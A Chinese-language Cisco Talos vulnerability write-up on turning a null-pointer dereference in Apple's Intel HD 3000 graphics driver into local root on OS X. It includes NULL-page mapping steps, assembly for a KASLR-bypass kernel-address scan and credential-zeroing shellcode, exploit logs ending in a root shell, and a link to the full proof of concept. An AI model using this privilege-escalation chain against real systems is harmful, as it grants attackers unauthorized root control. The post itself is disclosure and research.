2016 年 4 月 7 日，星期四

漏洞剖析：绕过 KASLR 攻击 APPLE 图形驱动程序

思科 Talos 漏洞研究人员 Piotr Bania 最近在 Apple Intel HD 3000 图形驱动程序中发现一个漏洞（请参阅相关博文）。在本文中，我们将深入分析这项研究，并详细审视相关漏洞，及其绕过 KASLR 并利用内核漏洞在本地执行任意代码的能力。恶意软件编写者可能会利用这些手段绕过软件沙盒技术，因为软件沙盒技术可能仅在软件程序（浏览器或应用沙盒）或内核级别执行。

在研究过程中，Talos 发现配备 Intel HD Graphics 3000 GPU 单元的 Apple OSX 计算机存在一个空指针取消引用漏洞（第 10.0.0 版），如下所示：

```
__text:000000000001AA17 loc_1AA17:                              ; CODE XREF: IOGen575Shared::new_texture
__text:000000000001AA17                 mov     r14, cs:off_560B0
__text:000000000001AA1E                 mov     rbx, [r14]
__text:000000000001AA21                 add     r13, rax
__text:000000000001AA24                 lea     rax, [rbx+r13+3]
__text:000000000001AA29                 neg     rbx
__text:000000000001AA2C                 and     rbx, rax
__text:000000000001AA2F                 mov     rdi, [rdx+18h]  ; rdx=0 (null pointer)
__text:000000000001AA33                 mov     r13, rdx
__text:000000000001AA36                 mov     eax, [rdi+1AB0h]
__text:000000000001AA3C                 mov     rcx, cs:off_560A8
__text:000000000001AA43                 mov     cl, [rcx]
__text:000000000001AA45                 shl     eax, cl
__text:000000000001AA47                 lea     rcx, _kLargeCommandSizeMin
__text:000000000001AA4E                 mov     ecx, [rcx]
__text:000000000001AA50                 add     ecx, ecx
__text:000000000001AA52                 sub     eax, ecx
__text:000000000001AA54                 cmp     rbx, rax
__text:000000000001AA57                 ja      loc_1AC8C
__text:000000000001AA5D                 mov     [rbp+var_54], esi
__text:000000000001AA60                 mov     rax, [rdi]
__text:000000000001AA63                 mov     esi, 168h
__text:000000000001AA68                 call    qword ptr [rax+980h]
```

通常情况下，由于地址 0x1aa2f 处的空指针引用，通过 IOConnectCallMethod 函数向图形驱动程序发送一个非常基本的负载会导致内核错误。在这种情况下，RDX 寄存器会指向 NULL。于是指令会尝试从不可用的内存读取数据，从而导致内核错误。

虽然就此看来，此漏洞似乎是一种本地拒绝服务攻击，但是 0x1aa68 处的指令调用却很有可能被用于各种目的。如果我们能影响这条指令，就会使这项漏洞从本地拒绝服务漏洞升级为本地代码执行漏洞。那么，我们如何能做到这一点呢？

要使拒绝服务攻击升级为本地代码执行，我们首先需要确认是否可以把数据映射到 NULL 页（基本而言，就是映射到一个从 NULL 地址开始的内存区域）。最新版的 Microsoft Windows 系统不支持 NULL 页映射，但是这在 OS X 系统上是可以实现的，不过需要满足一些条件。

要在 OS X 中进行 NULL 页映射，需执行以下操作：

- 创建 32 位二进制文件。
- 然后写入“-m32 -Wl,-pagezero_size,0 -O3”。

满足这些条件后，我们就能把数据映射到 NULL 页（基本而言，就是一个从 NULL 地址开始的内存区域）。如果能够强制使地址 0x1aa54 处的比较指令跳过 0x1aa57 处的 JA 跳转指令，我们就会最终到达 0x1aa68 处的调用指令。由于我们控制了 RDI 值（在 0x1aa2f 处），所以也就控制了 0x1aa36 处的 EAX 值。既然能够控制 EAX（RAX 的一部分），我们就能欺骗 0x11a54 处的比较条件。于是，我们就能到达地址 0x1aa60，这基本上意味着我们能够调用 0x980 处写入的任何指针（即我们控制的内存）。

有了这些控制能力，我们接下来要做什么呢？

在 2013 年之后发行的 Intel CPU 上，由于增加了名为 SMEP（管理模式执行保护）的功能，所以这些条件仍然无法利用。当 CPL = 0 时，SMEP 会阻止执行位于用户模式页面上的代码。这意味着直接调用写入 NULL 页的壳代码会导致内核错误及代码执行失败。但是我们所研究的 Apple 设备上不具有此功能。

第 1 阶段 - 获得内核地址

SMEP（管理模式执行保护）和 KASLR（内核地址空间布局随机化）在较新的操作系统和 CPU 中被广泛采用，特别是 Windows 8 及后续版本，以及 OS X Yosemite。对于实施 SMEP/KASLR 的环境，此步骤需要额外的漏洞才能泄露内核内存地址。由于我们所测试的 OS X 版本不存在 SMEP 问题，我们只需采用“老套路”。很久以前，*应该是在*暗无宁日的 2005 年，出现了一种用于获取 Windows 内核地址的技术，称为 SYSENTER_EIP_MSR Scandown 技术 [2]。因为我们的目标是 64 位 OS X 系统，所以我们可以使用相同的思路，只需稍作修改即可。在本例中，我们将从 LSTAR（长系统目标地

址寄存器）MSR 寄存器（包含适用于 64 位软件的内核 RIP SYSCALL 条目）读取数据，并向后扫描以查找内核 OS X 签名。

```
save_regs64
    ; get msr entry
    mov     rcx, 0C0000082h     ; lstar
    rdmsr                       ; MSR[ecx] --> edx:eax
    shl     rdx, 32
    or      rax, rdx

    ; find kernel addr - scan backwards

MAX_KERNEL_SCAN_SIZE    equ 10000h
KERNEL_SIG              equ 01000007FEEDFACFh
PAGE_SIZE               equ 1000h

    mov     rcx, MAX_KERNEL_SCAN_SIZE
    and     rax, not 0FFFFFh
    xor     rdx, rdx
    mov     r8, KERNEL_SIG

scan_loop:
    sub     rax, PAGE_SIZE
    dec     rcx
    jz      scan_done

    ; is sig correct?
    cmp     qword [rax], r8
    jnz     scan_loop

    mov rdx, rax

scan_done:
    ; store the addr - rdx kernel addr, 0 if not found
    lea     rcx, [shell_start]
    mov     qword [rcx], rdx

load_regs64

    ; for the vulnerable function to exit peacefully
    xor     rax, rax
    xor     r15, r15

    ret
```

然后，我们将这些代码转变为 stage0 负载，并将其发送到图形驱动程序。这样，我们应该就能获得写入 NULL 页前 8 个字节的内核地址。

```
Stage1: Copying the stage1 payload 0x00001000 - 0x00001071
Stage1: Setting up the RIP to 0x00001000
Stage1: Copying trigger data
Stage1: Making stage1 call
Stage1: leaked kernel address 0xffffff8021e00000
Stage1: kernel address leaked, success!
```

成功！获得内核基址对于计算要在第 2 阶段的壳代码中使用的 API 地址至关重要。这些 API 对于提升攻击者的权限不可或缺。

现在我们已经拥有泄露的内核地址，所以要计算所需的 API 地址 (_current_proc, _proc_ucred, _posix_cred_get) 是一件非常容易的事。各种免费的 MACH-O 解析器随处可得 [3]，所以我们直接跳到第 2 阶段。

第 2 阶段 - 执行壳代码

假设此时我们已经完成对全部所需 API 地址的解析，下面就要来强制内核执行最终阶段的壳代码了。这个最终阶段将为我们的进程提供根用户权限，并执行壳代码。此壳代码会执行必要的 OS X 内核 API 来升级权限。

```
save_regs64
    mov     rax, qword [api_current_proc]
    call    rax
    mov     rdi, rax                        ; rdi = cur_proc

    ; system v abi - rdi first arg
    mov     rax, qword [api_proc_ucred]
    call    rax

    ; rax = cur_ucred
    mov     rdi, rax
    mov     rax, qword [api_posix_cred_get]
    call rax

    ; rax = pcred
    mov     dword [rax], 0
    mov     dword [rax+8], 0

load_regs64
    xor     rax, rax
    xor     r15, r15
    ret
```

最终输出结果 - 现在我们已具备根访问权限：

```
ResolveApi: using kernel addr 0xffffff8021e00000 (file base = 0xffffff8000200000)
ResolveApi: _current_proc = 0xffffff8022437a60
ResolveApi: _proc_ucred = 0xffffff80223a9af0
ResolveApi: _posix_cred_get = 0xffffff802237e780
Commencing stage 2
Stage2: preparing the stage2 payload
Stage2: Copying the stage2 payload 0x00001000 - 0x00001071
Stage2: Setting up the RIP to 0x00001000
Stage2: Copying trigger data
Stage2: Making stage2 call
Stage2: success, got root!
Stage2: now executing shell
sh-3.2# whoami
root
sh-3.2#
```

总结

在本文中，我们了解了将拒绝服务漏洞升级为本地代码执行漏洞的过程。通过映射内核地址，我们可以向后扫描找到基址，然后计算距离所需函数的偏移量，绕过 KASLR，获得根权限。理解绕过 KASLR 和升级漏洞攻击的技术，对于学习如何最有效地缓解这些类型的攻击有很大帮助。思科 Talos 致力于研究和发现软件漏洞，并本着负责任的态度加以披露。Talos 通过确定原本可能被攻击发起者利用的安全问题，为我们的客户所依赖的平台和软件以及整个网络社区提供安全保护。发现新的零日漏洞不仅有助于整体提高客户所用软件的安全水平，而且使我们能够直接改善自身安全开发生命周期的各个程序，进而提高所有思科产品的安全性。

概念验证

本文阐述的完整概念验证漏洞可在思科 Talos 漏洞研究团队的代码库获得，地址为：
https://github.com/talos-vulndev/advisories/tree/master/TALOS-2016-0088/

参考资料：

[1] - https://www.blackhat.com/docs/eu-15/materials/eu-15-Todesco-Attacking-The-XNU-Kernal-In-El-Capitain.pdf
[2] - http://www.uninformed.org/?v=3&a=4&t=txt
[3] - https://github.com/kpwn/tpwn/blob/master/lsym.m

发布者：WILLIAM LARGENT；发布时间：下午 12:38
标签：APPLE、本地代码执行、权限升级、概念验证、TALOS、漏洞研究